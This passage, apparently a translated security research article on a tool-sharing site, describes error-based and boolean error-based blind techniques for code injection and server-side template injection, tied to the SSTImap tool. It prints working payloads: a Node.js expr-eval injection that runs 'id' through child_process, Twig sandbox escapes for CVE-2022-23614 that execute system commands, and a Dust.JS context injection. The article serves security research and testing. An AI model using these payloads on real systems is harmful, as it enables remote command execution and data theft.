{ ███████[ Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptor( Object.getPrototypeOf(a), 'constructor'); c=d.value; f=c("return process.mainModule.require( process.mainModule.require('child_process').execSync('id').toString())"); f() ] }

包含执行结果的 expr-eval 错误

在这个案例中,基于错误的技术让我能够在实际测试的应用程序中从盲注代码注入获取输出。

用于 expr-eval 模块(NodeJS)的代码注入利用载荷被添加为 SSTImap 的一个额外模块,可供额外安装。 该模块包含 SSTImap 支持的所有四种代码注入利用技术的载荷。

JSONPath Plus (CVE-2025-1302)

新技术在实际应用中的另一个例子是能够利用 CVE-2025-1302,而不受注入上下文限制。 早期用于渲染注入的载荷会设置根对象的属性,但这种方法在许多注入上下文中阻止了渲染利用,并且需要猜测其他属性。

得益于基于错误的技术,在详细的错误输出情况下,所有上下文均能获得输出。 使用布尔型基于错误的盲注技术可以更有效地利用盲注注入,并为快速数据外泄打开了可能性。

Twig (CVE-2022-23614)

易受攻击版本的 Twig 模板引擎允许通过将包含 PHP 函数名称的字符串作为参数传递给 |sort 过滤器来逃逸沙箱。 该过滤器将函数输出转换为数字,该数字决定了数组中两个元素的新顺序。

在 PHP 中,system() 函数仅返回输出的第一个字符串,但这足以影响最终数字和数组元素的顺序,从而显示我们的操作系统命令是否成功执行。 我们可以将第一个元素与预期值进行比较,以确定元素是否交换了位置,并了解我们的命令产生了什么数字。 最终得到如下载荷:```php {% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} {{ 1 / ([" … >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}

root@kitploit:~
这一次,Boolean Error-Based Blind 扩展了 **Twig** 模板引擎中盲沙箱绕过(blind sandbox bypass)的能力,可能允许逐位提取输出。

我们还可以注意到,像 `system()` 和 `passthru()` 这样的 PHP 函数会将结果直接输出到页面,这允许我们使用 `ob_start()` 拦截它们。

作为第二个参数,`ob_start()` 接受一个函数名,该函数将以我们的输出作为参数被调用。这允许我们使用 `call_user_func()` 进行基于错误(Error-Based)的输出外泄(exfiltration)。

要调用我们的函数并触发错误,我们需要在没有参数的情况下触发 `ob_end_flush()`。为此,我们可以使用一个空数组的 `call_user_func_array()`。我们的最终载荷(payload):```php
{% set a = ["error_reporting", "1"]|sort("ini_set") %}
{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}
{{ ["ls", 0]|sort("system") }}
{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%}

Dust.JS

此外,我想提一下针对 Dust.JS 模板引擎的 payload。 基于 NodeJS 代码注入 payload 的错误型和布尔型错误盲注技术,能够更有效地利用盲 SSTI,同时在目标网站存在详细错误输出时获取结果。

之后,我决定研究在渲染注入期间通过向模板上下文中添加变量来获取结果的可能性。 最初,我尝试使用原型污染,但这在动态代码生成过程中导致了错误,因此我不得不找到上下文对象来注入新变量。 为此,我应用了错误型技术并检查了全局变量。

我发现了一个名为 context 的变量,它有一个名为 global 的属性,其中包含传递给模板的变量。 为 context.global 添加新属性使我能够获取结果:```node {@if cond="context.global.sstimap='test'"}{/if}{sstimap}

root@kitploit:~
此示例展示了在采用黑盒方法开发载荷时,利用基于错误的技巧检查注入上下文的可能性。

## 结论
作为本次研究的一部分,针对代码注入和 SSTI 开发了两种新技术。
如果向用户显示详细的错误信息,使用**基于错误**的技巧可以访问盲注的结果。
**布尔错误盲注**技巧大大加快了盲注的利用速度,因为它消除了通常与**基于时间盲注**技巧一起使用的延迟。

为这两种新技术创建了载荷,可在六种编程语言中利用代码注入和 SSTI。

此外,还引入了用于通用检测代码注入和 SSTI 的上下文感知载荷,使得无需测试所有可能的语言即可自动检测盲注,这在以前被认为是不可能的。

所展示的技巧证明了即使对于看似明显的漏洞,记录所有已知利用技巧的重要性。
类似的方法在 SQL 注入技巧中早已使用,但在 SSTI 被发现后的 10 年间,从未提及**基于错误**的技巧,也没有记录相应的载荷。
代码注入本身几乎没有文档记录,这阻碍了新的基础技巧的发现。

这项研究证明了即使对于众所周知的漏洞,发现新技巧的潜力。
为了更有效地开发技巧,应为研究人员建立一个包含技巧和窍门的知识库,以便记录有关载荷开发和不同系统异常特性的知识,即使这些知识对系统利用没有直接用途。

最后,我想提到未来研究的有前景的方向。
对**布尔错误盲注**和**基于时间盲注**技巧的一个重大改进是用于逐位提取输出的载荷,类似于 SQL 注入的相应技巧。
此外,研究利用模板引擎特性进行 **OAST** 测试和**基于时间盲注**技巧应用的可能性,将使这些技巧摆脱对目标服务器操作系统和可用二进制文件的依赖。

## 参考资料
[^1]: https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf
[^2]: https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf
[^3]: https://github.com/vladko312/SSTImap
[^4]: https://github.com/vladko312/extras
[^5]: https://github.com/epinna/tplmap/
[^6]: https://github.com/linkedin/dustjs/wiki/Dust-Tutorial
[^7]: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
[^8]: https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456
[^9]: https://github.com/sqlmapproject/sqlmap/wiki/Techniques
[^10]: https://gist.github.com/n1nj4sec/5e3fffdfa322f4c23053359fc8100ab9
下载工具